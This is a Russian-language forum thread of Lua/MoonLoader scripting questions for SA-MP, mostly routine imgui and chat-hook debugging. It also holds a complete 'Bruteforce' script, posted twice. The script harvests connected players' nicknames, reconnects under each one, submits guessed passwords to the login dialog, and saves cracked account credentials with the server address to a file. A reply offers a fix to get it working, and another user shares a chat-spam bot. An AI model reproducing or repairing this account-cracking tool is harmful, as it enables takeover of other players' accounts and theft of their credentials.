Вопросы по Lua скриптингу

Общая тема для вопросов по разработке скриптов на языке программирования Lua, в частности под MoonLoader.
  • Задавая вопрос, убедитесь, что его нет в списке частых вопросов и что на него ещё не отвечали (воспользуйтесь поиском).
  • Поищите ответ в теме посвященной разработке Lua скриптов в MoonLoader
  • Отвечая, убедитесь, что ваш ответ корректен.
  • Старайтесь как можно точнее выразить мысль, а если проблема связана с кодом, то обязательно прикрепите его к сообщению, используя блок [code=lua]здесь мог бы быть ваш код[/code].
  • Если вопрос связан с MoonLoader-ом первым делом желательно поискать решение на wiki.

Частые вопросы

Как научиться писать скрипты? С чего начать?
Информация - Гайд - Всё о Lua скриптинге для MoonLoader(https://blast.hk/threads/22707/)
Как вывести текст на русском? Вместо русского текста у меня какие-то каракули.
Изменить кодировку файла скрипта на Windows-1251. В Atom: комбинация клавиш Ctrl+Shift+U, в Notepad++: меню Кодировки -> Кодировки -> Кириллица -> Windows-1251.
Как получить транспорт, в котором сидит игрок?
Lua:
local veh = storeCarCharIsInNoSave(PLAYER_PED)
Как получить свой id или id другого игрока?
Lua:
local _, id = sampGetPlayerIdByCharHandle(PLAYER_PED) -- получить свой ид
local _, id = sampGetPlayerIdByCharHandle(ped) -- получить ид другого игрока. ped - это хендл персонажа
Как проверить, что строка содержит какой-то текст?
Lua:
if string.find(str, 'текст', 1, true) then
-- строка str содержит "текст"
end
Как эмулировать нажатие игровой клавиши?
Lua:
local game_keys = require 'game.keys' -- где-нибудь в начале скрипта вне функции main

setGameKeyState(game_keys.player.FIREWEAPON, -1) -- будет сэмулировано нажатие клавиши атаки
Все иды клавиш находятся в файле moonloader/lib/game/keys.lua.
Подробнее о функции setGameKeyState здесь: lua - setgamekeystate | BlastHack — DEV_WIKI(https://www.blast.hk/wiki/lua:setgamekeystate)
Как получить id другого игрока, в которого целюсь я?
Lua:
local valid, ped = getCharPlayerIsTargeting(PLAYER_HANDLE) -- получить хендл персонажа, в которого целится игрок
if valid and doesCharExist(ped) then -- если цель есть и персонаж существует
  local result, id = sampGetPlayerIdByCharHandle(ped) -- получить samp-ид игрока по хендлу персонажа
  if result then -- проверить, прошло ли получение ида успешно
    -- здесь любые действия с полученным идом игрока
  end
end
Как зарегистрировать команду чата SAMP?
Lua:
-- До бесконечного цикла/задержки
sampRegisterChatCommand("mycommand", function (param)
     -- param будет содержать весь текст введенный после команды, чтобы разделить его на аргументы используйте string.match()
    sampAddChatMessage("MyCMD", -1)
end)
Крашит игру при вызове sampSendChat. Как это исправить?
Это происходит из-за бага в SAMPFUNCS, когда производится попытка отправки пакета определенными функциями изнутри события исходящих RPC и пакетов. Исправления для этого бага нет, но есть способ не провоцировать его. Вызов sampSendChat изнутри обработчика исходящих RPC/пакетов нужно обернуть в скриптовый поток с нулевой задержкой:
Lua:
function onSendRpc(id)
  -- крашит:
  -- sampSendChat('Send RPC: ' .. id)

  -- норм:
  lua_thread.create(function()
    wait(0)
    sampSendChat('Send RPC: ' .. id)
  end)
end
 
Последнее редактирование:

хуега)

РП игрок
Модератор
2,565
2,260
123:
local myBuyArray = {{'Серебрянная рулетка', 1, imgui.ImBuffer(128)},{'Ларец с премией', 1, imgui.ImBuffer(128)}}

                for i, data in ipairs(myBuyArray) do

                  imgui.Text(u8(i..' - '..myBuyArray[i][1]):format(i, data[1]))

                  if imgui.Button(('X ##%s'):format(i), imgui.ImVec2(sw / 70 , sh / 40)) then

                    table.remove(myBuyArray, i)

                  end

                  imgui.SameLine()

                  myBuyArray[i][2] =  imgui.InputText('шт', myBuyArray[i][3])

                  imgui.Separator()
извините меня за мою тупость, но оно делает так, шо делать)Посмотреть вложение 191451 - я пытался выделить для каждого инпута свое место в таблице
1. Замени 5 строку на то, что я скинул
2. Замена 15 строку на
Lua:
if imgui.InputText('шт', data[3]) then
    data[2] = u8:decode(data[3].v)
end

[ML] (system) Loading script 'C:\Users\Pidaroq\Desktop\Папка\Namalsk\[new obnova] namalsk sborka\[obnova] sborka namalsk\moonloader\спаммер.lua'...
[ML] (system) Cпаммер для Namalsk Role Play: Loaded successfully.
[ML] (system) Installing post-load hooks...
[ML] (system) Hooks installed.
Это не то, надо с тэгом [error]
 
  • Нравится
Реакции: Tango

Tango

Новичок
28
4
1. Замени 5 строку на то, что я скинул
Lua:
if imgui.InputText('шт', data[3]) then
    data[2] = u8:decode(data[3].v)
end

1677439729500.png
upd: заменил на
imgui.Text(u8('%d - %s'):format(i, u8(data[1])))
и все стало норм, с этим спасибо
 
Последнее редактирование:
  • Нравится
Реакции: хуега)
1. Замени 5 строку на то, что я скинул
2. Замена 15 строку на
Lua:
if imgui.InputText('шт', data[3]) then
    data[2] = u8:decode(data[3].v)
end


Это не то, надо с тэгом [error]
Такого нету, консоль воспринимает это как рабочий скрипт. Или тебе лог с консоли как я заюзал имгуи и он послал нахуй?
 

Tango

Новичок
28
4
2. Замена 15 строку на
Lua:
if imgui.InputText('шт', data[3]) then
    data[2] = u8:decode(data[3].v)
end
123:
local myBuyArray = {{'Серебрянная рулетка', 1, imgui.ImBuffer(128)},{'Ларец с премией', 1, imgui.ImBuffer(128)}}
for i, data in ipairs(myBuyArray) do
                  imgui.Text(u8('%s - %s'):format(i, data[1]))
                  if imgui.Button(('X ##%s'):format(i), imgui.ImVec2(sw / 70 , sh / 40)) then
                    table.remove(myBuyArray, i)
                  end
                  imgui.SameLine()
                  if imgui.InputText('шт', data[3]) then
                    data[2] = u8:decode(data[3].v)
                  end
                  imgui.Separator()
                end
Сделал, но такая же ошибка
upd: сделал

myBuyArray[2] = imgui.InputTextWithHint(u8('шт##%s'):format(i), u8"Колво", myBuyArray[4]) --и все норм стало
 
Последнее редактирование:
  • Вау
Реакции: хуега)
А если так?:
if imgui.Combo("Chat", combo_selected, combo_list, combo_selected) then
Всё равно шлёт, крч, оставлю вот код, мб в другом месте ошибка

Lua поеботень:
script_name("Спамер для Namalsk Role Play")
script_author("Еблан Накаптезниq")

require 'lib.moonloader'
local imgui = require 'imgui'
local encoding = require 'encoding'

local inicfg = require 'inicfg'
local directIni = "moonloader\\Spammer.ini"
local inicfg = require 'inicfg'
local directIni = 'filename.ini'
local ini = inicfg.load({
    main = {
        spam_message = '/s Куплю любую бирку. Бюджет: 50.123.123. Номер: 28-66-68.'
    },
}, directIni)
inicfg.save(ini, directIni)

encoding.default = 'CP1251'
u8 = encoding.UTF8

local mainIni = inicfg.load(nil, directIni)
local stateIni = inicfg.save(mainIni, directIni)

local enable = false
local timer = -1
local main_window_state = imgui.ImBool(false)
-- local buf = imgui.ImBuffer(mainIni.config.spam_message, 256)
local combo_selected = imgui.ImInt(1)
local combo_list = {u8"Обычный чат", u8"NonRP чат", u8"Вип-чат"}
local spam_message = imgui.ImBuffer(u8(ini.main.spam_message) or '/s Куплю любую бирку. Бюджет: 50.123.123. Номер: 28-66-68.', 256)
local chats = {"s", "vr", "b"}


function main()
    if not isSampfuncsLoaded() or not isSampLoaded() then return end
    while not isSampAvailable() do wait(100) end
    sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер вновь готов к работе! Активация: {FFFF00}/yaushel", 0xFFF5EE)
    
    sampRegisterChatCommand("imgui", function() main_window_state.v = not main_window_state.v end)
    sampRegisterChatCommand("yaushel", function()
        if enable == true then
            sampAddChatMessage("{0000FF}[PlayBoy4iq]{FFFFFF} Ошибка! Спамер уже активен!", 0xFFF5EE)
        end
            if enable == false then
                enable = true
                sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер активирован! Команда для деактивации: {FFFF00} /yaprishel ", 0xFFF5EE)
            end
        end)
    sampRegisterChatCommand("yaprishel", function()
            if enable == false then
                sampAddChatMessage("{0000FF}[PlayBoy4iq]{FFFFFF} Ошибка! Спамер и так деактивирован!", 0xFFF5EE)
            end
        if enable == true then
            enable = false
            sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер деактивирован! Команда для активации: {FFFF00} /yaushel ", 0xFFF5EE)
        end
    end)
    while true do wait(0)
        imgui.Process = main_window_state.v
    
        if enable then
            local nowTime = os.time()
            if nowTime >= timer then
                sampSendChat(ini.main.spam_message)
                timer = nowTime + 25
            end
        end
    end
end

function save()
    inicfg.load(ini, "Spammer.ini")
end


function imgui.OnDrawFrame()
    if main_window_state.v then
        local sw, sh = getScreenResolution()
        imgui.SetNextWindowPos(imgui.ImVec2(sw / 2, sh / 2), imgui.Cond.FirstUseEver, imgui.ImVec2(0.5, 0.5))
        imgui.SetNextWindowSize(imgui.ImVec2(330, 110), imgui.Cond.FirstUseEver)
        imgui.Begin(u8"Настройки", main_window_state)
        if imgui.Combo("Chat", combo_selected, combo_list, combo_selected) then
            Chat = "/%s":format(chats[combo_selected.v]) -- тут мы используем функцию string.format() для того, чтобы соединить две строки
        end
        if imgui.InputText(u8"Введите что-то", spam_message) then
            ini.main.spam_message = u8:decode(spam_message.v)
            inicfg.save(ini, directIni)
        end
        --if imgui.InputText('your text', text) then
        --    ini.main.text = u8:decode(text.v)
        --    inicfg.save(ini, directIni)
        --end
        imgui.End()
    end
end
 

Tango

Новичок
28
4
123:
local myBuyArray = {{'Серебрянная рулетка', 1, imgui.ImBuffer(128)},{'Ларец с премией', 1, imgui.ImBuffer(128)}}
for i, data in ipairs(myBuyArray) do
                  imgui.Text(u8('%s - %s'):format(i, data[1]))
                  if imgui.Button(('X ##%s'):format(i), imgui.ImVec2(sw / 70 , sh / 40)) then
                    table.remove(myBuyArray, i)
                  end
                  imgui.SameLine()
                  if imgui.InputText('шт', data[3]) then
                    data[2] = u8:decode(data[3].v)
                  end
                  imgui.Separator()
                end
Сделал, но такая же ошибка
upd: сделал

myBuyArray[2] = imgui.InputTextWithHint(u8('шт##%s'):format(i), u8"Колво", myBuyArray[4]) --и все норм стало
ipd: норм не стало тогда, но сделал
if imgui.InputTextWithHint(u8('шт##%s'):format(i), u8"Колво", myBuyArray[4]) then
myBuyArray[2] = u8:decode(myBuyArray[4].v)
end
и все терь точно норм ) я дурак


123:
myBuyArray = {
  {'Серебрянная рулетка', 2 , 1 , imgui.ImBuffer(128) , imgui.ImBuffer(128)},
  {'Ларец с премией', 1 , 1 , imgui.ImBuffer(128) , imgui.ImBuffer(128)}
}
for i, data in ipairs(myBuyArray) do
                  imgui.Text(u8('%d - %s'):format(i, u8(data[1])))
                  if imgui.Button(('X %d'):format(i), imgui.ImVec2(sw / 70 , sh / 40)) then
                    table.remove(myBuyArray, i)
                  end
                  imgui.SameLine()
                  imgui.PushItemWidth(sw / 20)
                    if imgui.InputTextWithHint(u8('шт##%s'):format(i), u8"Колво", myBuyArray[i][4]) then
                      myBuyArray[i][2] = u8:decode(myBuyArray[i][4].v)
                    end
                    if imgui.InputTextWithHint(u8('$##%s'):format(i), u8"Цена", myBuyArray[i][5]) then
                      myBuyArray[i][3] = u8:decode(myBuyArray[i][5].v)
                    end
                  imgui.PopItemWidth()
                  imgui.Separator()
                end
Строки 7-9, я нажимая на кнопку должно удалить массив в таблице, кнопки которой я нажал, какието удаляет кнопки, какието нет, лог
attempt to index a nil value
stack traceback:
 
Последнее редактирование:

Annanel

Участник
86
8
Кто может подсказать
Lua:
local samp = require 'lib.samp.events'

function samp.onServerMessage(color, text)
    if text:find('- (%w+_%w+)%[(%d+)%]: Хорошо, ты выполнил задание, твой отчет под номером (%d+).') then
        local nick, id, number = text:match('- (%w+_%w+)%[(%d+)%]: Хорошо, ты выполнил задание, твой отчет под номером (%d+).')
        sampAddChatMessage(nick..' ['..id..'] '..number)
    end
end

Мне нужно чтобы хукал текст: Nick_Name[ID] купил дом ID: ид дома по гос. цене за (время за сколько поймал) ms!
И после этого прописывались команда: Администратор ХХХ наказал игрока Nick Name на 3000 минут, причина: опра дом 111
 

de_clain

Активный
208
47
Кто может подсказать
Lua:
local samp = require 'lib.samp.events'

function samp.onServerMessage(color, text)
    if text:find('- (%w+_%w+)%[(%d+)%]: Хорошо, ты выполнил задание, твой отчет под номером (%d+).') then
        local nick, id, number = text:match('- (%w+_%w+)%[(%d+)%]: Хорошо, ты выполнил задание, твой отчет под номером (%d+).')
        sampAddChatMessage(nick..' ['..id..'] '..number)
    end
end

Мне нужно чтобы хукал текст: Nick_Name[ID] купил дом ID: ид дома по гос. цене за (время за сколько поймал) ms!
И после этого прописывались команда: Администратор ХХХ наказал игрока Nick Name на 3000 минут, причина: опра дом 111
eto ?:
local sampev = require 'lib.samp.events'

function sampev.onServerMessage(color, text)
    if text:find("(.*) %[(%d+)%] купил дом ID: (%d+) по гос%. цене за (.*) ms! Капча: %((%d+) | (%d+)%)") then
    local nick, id, houseid, timecaptcha, captcha1, captcha2 = text:match("(.*) %[(%d+)%] купил дом ID: (%d+) по гос%. цене за (.*) ms! Капча: %((%d+) | (%d+)%)")
    sampSendChat( ("/jail %d 3000 опра дом %d"):format(id,houseid) )
    end
end
 
  • Нравится
Реакции: Annanel

Tango

Новичок
28
4
123:
myBuyArray = {
  {'Серебрянная рулетка', 2 , 1 , imgui.ImBuffer(128) , imgui.ImBuffer(128)},
  {'Ларец с премией', 1 , 1 , imgui.ImBuffer(128) , imgui.ImBuffer(128)}
}
for i, data in ipairs(myBuyArray) do
                  imgui.Text(u8('%d - %s'):format(i, u8(data[1])))
                  if imgui.Button(('X %d'):format(i), imgui.ImVec2(sw / 70 , sh / 40)) then
                    table.remove(myBuyArray, i)
                  end
                  imgui.SameLine()
                  imgui.PushItemWidth(sw / 20)
                    if imgui.InputTextWithHint(u8('шт##%s'):format(i), u8"Колво", myBuyArray[i][4]) then
                      myBuyArray[i][2] = u8:decode(myBuyArray[i][4].v)
                    end
                    if imgui.InputTextWithHint(u8('$##%s'):format(i), u8"Цена", myBuyArray[i][5]) then
                      myBuyArray[i][3] = u8:decode(myBuyArray[i][5].v)
                    end
                  imgui.PopItemWidth()
                  imgui.Separator()
                end

Строки 7-9, я нажимая на кнопку должно удалить массив в таблице, кнопки которой я нажал, какието удаляет кнопки, какието нет, лог
attempt to index a nil value
stack traceback:
 

хуега)

РП игрок
Модератор
2,565
2,260
123:
myBuyArray = {
  {'Серебрянная рулетка', 2 , 1 , imgui.ImBuffer(128) , imgui.ImBuffer(128)},
  {'Ларец с премией', 1 , 1 , imgui.ImBuffer(128) , imgui.ImBuffer(128)}
}
for i, data in ipairs(myBuyArray) do
                  imgui.Text(u8('%d - %s'):format(i, u8(data[1])))
                  if imgui.Button(('X %d'):format(i), imgui.ImVec2(sw / 70 , sh / 40)) then
                    table.remove(myBuyArray, i)
                  end
                  imgui.SameLine()
                  imgui.PushItemWidth(sw / 20)
                    if imgui.InputTextWithHint(u8('шт##%s'):format(i), u8"Колво", myBuyArray[i][4]) then
                      myBuyArray[i][2] = u8:decode(myBuyArray[i][4].v)
                    end
                    if imgui.InputTextWithHint(u8('$##%s'):format(i), u8"Цена", myBuyArray[i][5]) then
                      myBuyArray[i][3] = u8:decode(myBuyArray[i][5].v)
                    end
                  imgui.PopItemWidth()
                  imgui.Separator()
                end

Строки 7-9, я нажимая на кнопку должно удалить массив в таблице, кнопки которой я нажал, какието удаляет кнопки, какието нет, лог
attempt to index a nil value
stack traceback:
Хз, попробуй замутить такую проверку:
Lua:
if imgui.Button(('X %d'):format(i), imgui.ImVec2(sw / 70 , sh / 40)) and myBuyArray[i] then
    table.remove(myBuyArray, i)
end
И да, не юзай эти обращение к массиву myBuyArray через index, у тебя есть переменная data, В которую передается уже myBuyArray, т.е. ты можешь просто писать:
Lua:
if imgui.InputTextWithHint(u8('шт##%s'):format(i), u8"Колво", data[4]) then
    data[2] = u8:decode(data[4].v)
end

if imgui.InputTextWithHint(u8('$##%s'):format(i), u8"Цена", data[5]) then
    data[3] = u8:decode(data[5].v)
end
О, бля, а че такой шрифт в коде крутой
 
  • Влюблен
Реакции: Tango

bantox

Новичок
6
0
В чем проблема? Ники парсит, заходит под ними, но на диалоги никак не реагирует, пароли не вводит


Lua:
script_name("Bruteforce")
script_description("SAMP Bruteforce. I personally think it's shit.")
script_authors("Shamanije")

local sampev = require 'lib.samp.events'

local dirway = 'moonloader/config/bruter'
local nxt = false
local active = false
local attemp = 0
local timer = 0
local recount = 0
local pause = false

local passTable = {'123qwe', '123456'}

if not doesDirectoryExist(dirway) then
    createDirectory(dirway)
end

function main()
    if not isSampLoaded() or not isSampfuncsLoaded() then return end
    while not isSampAvailable() do wait(100) end
    sampRegisterChatCommand('scan', scanPlayers)
    sampRegisterChatCommand('brute', brutePlayers)
    sampRegisterChatCommand('pause', pauseBrute)
    while true do
        if active then
            if sampGetGamestate() == 5 or sampGetGamestate() == 3 then
                timer = timer + 1
                if timer == 200 and sampGetGamestate() == 5 then
                    timer = 0
                    nxt = true
                elseif timer == 500 and sampGetGamestate() == 3 then
                    timer = 0
                    nxt = true
                end
            else
                timer = 0
            end
        end
        wait(10)
    end
end

function onReceivePacket(id)
    if active and (id == 36 or id == 32 or id == 37) then
        recount = recount + 1
        if recount == 3 then
            recount = 0
            sampDisconnectWithReason(false)
            lua_thread.create(function()
                printStringNow('~b~~h~~h~~h~SMTHNG WENT WRONG, 10 SECS COOLDOWN', 2000)
                nxt = false
                wait(10000)
                nxt = true
            end)
        end
    end
end

function sampev.onShowDialog(id, style, title, b1, b2, text)
    if active and id < 3 then
        attemp = attemp + 1
        if attemp == #passTable+1 then
            nxt = true
        else
            password = passTable[attemp]
            sampSendDialogResponse(id, 1, -1, password)
            printStringNow('~b~~h~~h~~h~ENTERING PASSWORD ~y~~h~~h~'..password, 1000)
        end
        return false
    end
end

function sampev.onConnectionRejected(reason)
    if active then
        nxt = true
    end
end

function sampev.onSetSpawnInfo()
    if active then
        local f = io.open(dirway..'/brutedAccs.txt', 'a+')
        if f then
            local server = sampGetCurrentServerName()
            local ip, port = sampGetCurrentServerAddress()
            f:write(fnick..'='..password..';'..server..';'..ip..':'..port..'\n')
            f:close()
        end
        nxt = true
    end
end

function sampev.onRemoveBuilding()
    if active then
        return false
    end
end

function sampev.onCreateObject()
    if active then
        return false
    end
end

function scanPlayers()
    local ip, port = sampGetCurrentServerAddress()
    local count = 1
    os.remove(dirway..'/'..ip..'.txt')
    local f = io.open(dirway..'/'..ip..'.txt', 'a+')
    if f then
        lua_thread.create(function()
            for i = 1, sampGetMaxPlayerId(false) do
                if sampIsPlayerConnected(i) and i ~= select(2, sampGetPlayerIdByCharHandle(PLAYER_PED)) then
                    local nick = sampGetPlayerNickname(i)
                    local ip, port = sampGetCurrentServerAddress()
                    wait(1)
                    f:write(nick..'\n')
                    printStringNow('~b~~h~~h~~h~WRITING ID:    ~y~~h~~h~'..i, 1)
                    count = count + 1
                end
            end
            printStringNow('~b~~h~~h~~h~WRITEN ~y~~h~~h~'..count..' ~b~~h~~h~~h~NICKS', 1000)
            f:close()
        end)
    end
end

function brutePlayers(delay)
    active = not active
    if active then
        if delay:match('%d+') then
            local time = tonumber(delay:match('(%d+)'))
        else
            time = 0
        end
        local ip, port = sampGetCurrentServerAddress()
        local f = io.open(dirway..'/'..ip..'.txt', 'r')
        if f then
            lua_thread.create(function()
                for line in f:lines() do
                    if active then
                        sampDisconnectWithReason(false)
                        fnick = line:match('(.+)')
                        sampSetLocalPlayerName(fnick)
                        printStringNow('~r~~h~~h~~h~~h~'..fnick, 2000)
                        wait(time)
                        sampConnectToServer(ip, port)
                        nxt = false
                        attemp = 0
                        while not nxt or pause do
                            wait(10)
                        end
                    end
                end
                active = false
            end)
        else
            printStringNow('~b~~h~~h~~h~NO SUCH FILE EXISTS. USE ~y~~h~~h~/SCAN', 2000)
        end
    else
        printStringNow('~b~~h~~h~~h~BRUTE STOPPED', 2000)
    end
end

function pauseBrute()
    if active then
        pause = not pause
        if pause then
            sampDisconnectWithReason(false)
            printStringNow('~b~~h~~h~~h~BRUTE PAUSED', 2000)
        else
            nxt = true
            printStringNow('~b~~h~~h~~h~BRUTE CONTINUED', 2000)
        end
    end
end
 

Sadow

Известный
1,438
589
В чем проблема? Ники парсит, заходит под ними, но на диалоги никак не реагирует, пароли не вводит


Lua:
script_name("Bruteforce")
script_description("SAMP Bruteforce. I personally think it's shit.")
script_authors("Shamanije")

local sampev = require 'lib.samp.events'

local dirway = 'moonloader/config/bruter'
local nxt = false
local active = false
local attemp = 0
local timer = 0
local recount = 0
local pause = false

local passTable = {'123qwe', '123456'}

if not doesDirectoryExist(dirway) then
    createDirectory(dirway)
end

function main()
    if not isSampLoaded() or not isSampfuncsLoaded() then return end
    while not isSampAvailable() do wait(100) end
    sampRegisterChatCommand('scan', scanPlayers)
    sampRegisterChatCommand('brute', brutePlayers)
    sampRegisterChatCommand('pause', pauseBrute)
    while true do
        if active then
            if sampGetGamestate() == 5 or sampGetGamestate() == 3 then
                timer = timer + 1
                if timer == 200 and sampGetGamestate() == 5 then
                    timer = 0
                    nxt = true
                elseif timer == 500 and sampGetGamestate() == 3 then
                    timer = 0
                    nxt = true
                end
            else
                timer = 0
            end
        end
        wait(10)
    end
end

function onReceivePacket(id)
    if active and (id == 36 or id == 32 or id == 37) then
        recount = recount + 1
        if recount == 3 then
            recount = 0
            sampDisconnectWithReason(false)
            lua_thread.create(function()
                printStringNow('~b~~h~~h~~h~SMTHNG WENT WRONG, 10 SECS COOLDOWN', 2000)
                nxt = false
                wait(10000)
                nxt = true
            end)
        end
    end
end

function sampev.onShowDialog(id, style, title, b1, b2, text)
    if active and id < 3 then
        attemp = attemp + 1
        if attemp == #passTable+1 then
            nxt = true
        else
            password = passTable[attemp]
            sampSendDialogResponse(id, 1, -1, password)
            printStringNow('~b~~h~~h~~h~ENTERING PASSWORD ~y~~h~~h~'..password, 1000)
        end
        return false
    end
end

function sampev.onConnectionRejected(reason)
    if active then
        nxt = true
    end
end

function sampev.onSetSpawnInfo()
    if active then
        local f = io.open(dirway..'/brutedAccs.txt', 'a+')
        if f then
            local server = sampGetCurrentServerName()
            local ip, port = sampGetCurrentServerAddress()
            f:write(fnick..'='..password..';'..server..';'..ip..':'..port..'\n')
            f:close()
        end
        nxt = true
    end
end

function sampev.onRemoveBuilding()
    if active then
        return false
    end
end

function sampev.onCreateObject()
    if active then
        return false
    end
end

function scanPlayers()
    local ip, port = sampGetCurrentServerAddress()
    local count = 1
    os.remove(dirway..'/'..ip..'.txt')
    local f = io.open(dirway..'/'..ip..'.txt', 'a+')
    if f then
        lua_thread.create(function()
            for i = 1, sampGetMaxPlayerId(false) do
                if sampIsPlayerConnected(i) and i ~= select(2, sampGetPlayerIdByCharHandle(PLAYER_PED)) then
                    local nick = sampGetPlayerNickname(i)
                    local ip, port = sampGetCurrentServerAddress()
                    wait(1)
                    f:write(nick..'\n')
                    printStringNow('~b~~h~~h~~h~WRITING ID:    ~y~~h~~h~'..i, 1)
                    count = count + 1
                end
            end
            printStringNow('~b~~h~~h~~h~WRITEN ~y~~h~~h~'..count..' ~b~~h~~h~~h~NICKS', 1000)
            f:close()
        end)
    end
end

function brutePlayers(delay)
    active = not active
    if active then
        if delay:match('%d+') then
            local time = tonumber(delay:match('(%d+)'))
        else
            time = 0
        end
        local ip, port = sampGetCurrentServerAddress()
        local f = io.open(dirway..'/'..ip..'.txt', 'r')
        if f then
            lua_thread.create(function()
                for line in f:lines() do
                    if active then
                        sampDisconnectWithReason(false)
                        fnick = line:match('(.+)')
                        sampSetLocalPlayerName(fnick)
                        printStringNow('~r~~h~~h~~h~~h~'..fnick, 2000)
                        wait(time)
                        sampConnectToServer(ip, port)
                        nxt = false
                        attemp = 0
                        while not nxt or pause do
                            wait(10)
                        end
                    end
                end
                active = false
            end)
        else
            printStringNow('~b~~h~~h~~h~NO SUCH FILE EXISTS. USE ~y~~h~~h~/SCAN', 2000)
        end
    else
        printStringNow('~b~~h~~h~~h~BRUTE STOPPED', 2000)
    end
end

function pauseBrute()
    if active then
        pause = not pause
        if pause then
            sampDisconnectWithReason(false)
            printStringNow('~b~~h~~h~~h~BRUTE PAUSED', 2000)
        else
            nxt = true
            printStringNow('~b~~h~~h~~h~BRUTE CONTINUED', 2000)
        end
    end
end
Попробуй убрать return false в sampev.onShowDialog
 
Всё равно шлёт, крч, оставлю вот код, мб в другом месте ошибка

Lua поеботень:
script_name("Спамер для Namalsk Role Play")
script_author("Еблан Накаптезниq")

require 'lib.moonloader'
local imgui = require 'imgui'
local encoding = require 'encoding'

local inicfg = require 'inicfg'
local directIni = "moonloader\\Spammer.ini"
local inicfg = require 'inicfg'
local directIni = 'filename.ini'
local ini = inicfg.load({
    main = {
        spam_message = '/s Куплю любую бирку. Бюджет: 50.123.123. Номер: 28-66-68.'
    },
}, directIni)
inicfg.save(ini, directIni)

encoding.default = 'CP1251'
u8 = encoding.UTF8

local mainIni = inicfg.load(nil, directIni)
local stateIni = inicfg.save(mainIni, directIni)

local enable = false
local timer = -1
local main_window_state = imgui.ImBool(false)
-- local buf = imgui.ImBuffer(mainIni.config.spam_message, 256)
local combo_selected = imgui.ImInt(1)
local combo_list = {u8"Обычный чат", u8"NonRP чат", u8"Вип-чат"}
local spam_message = imgui.ImBuffer(u8(ini.main.spam_message) or '/s Куплю любую бирку. Бюджет: 50.123.123. Номер: 28-66-68.', 256)
local chats = {"s", "vr", "b"}


function main()
    if not isSampfuncsLoaded() or not isSampLoaded() then return end
    while not isSampAvailable() do wait(100) end
    sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер вновь готов к работе! Активация: {FFFF00}/yaushel", 0xFFF5EE)
   
    sampRegisterChatCommand("imgui", function() main_window_state.v = not main_window_state.v end)
    sampRegisterChatCommand("yaushel", function()
        if enable == true then
            sampAddChatMessage("{0000FF}[PlayBoy4iq]{FFFFFF} Ошибка! Спамер уже активен!", 0xFFF5EE)
        end
            if enable == false then
                enable = true
                sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер активирован! Команда для деактивации: {FFFF00} /yaprishel ", 0xFFF5EE)
            end
        end)
    sampRegisterChatCommand("yaprishel", function()
            if enable == false then
                sampAddChatMessage("{0000FF}[PlayBoy4iq]{FFFFFF} Ошибка! Спамер и так деактивирован!", 0xFFF5EE)
            end
        if enable == true then
            enable = false
            sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер деактивирован! Команда для активации: {FFFF00} /yaushel ", 0xFFF5EE)
        end
    end)
    while true do wait(0)
        imgui.Process = main_window_state.v
   
        if enable then
            local nowTime = os.time()
            if nowTime >= timer then
                sampSendChat(ini.main.spam_message)
                timer = nowTime + 25
            end
        end
    end
end

function save()
    inicfg.load(ini, "Spammer.ini")
end


function imgui.OnDrawFrame()
    if main_window_state.v then
        local sw, sh = getScreenResolution()
        imgui.SetNextWindowPos(imgui.ImVec2(sw / 2, sh / 2), imgui.Cond.FirstUseEver, imgui.ImVec2(0.5, 0.5))
        imgui.SetNextWindowSize(imgui.ImVec2(330, 110), imgui.Cond.FirstUseEver)
        imgui.Begin(u8"Настройки", main_window_state)
        if imgui.Combo("Chat", combo_selected, combo_list, combo_selected) then
            Chat = "/%s":format(chats[combo_selected.v]) -- тут мы используем функцию string.format() для того, чтобы соединить две строки
        end
        if imgui.InputText(u8"Введите что-то", spam_message) then
            ini.main.spam_message = u8:decode(spam_message.v)
            inicfg.save(ini, directIni)
        end
        --if imgui.InputText('your text', text) then
        --    ini.main.text = u8:decode(text.v)
        --    inicfg.save(ini, directIni)
        --end
        imgui.End()
    end
end
Как сделать так, чтобы при выборе в имгуи.Комбо "Обычный чат" к сообщению добавлялось /s, вип-чат - /vr и нонРП чат - /b. И еще чтобы оно это регало навсегда.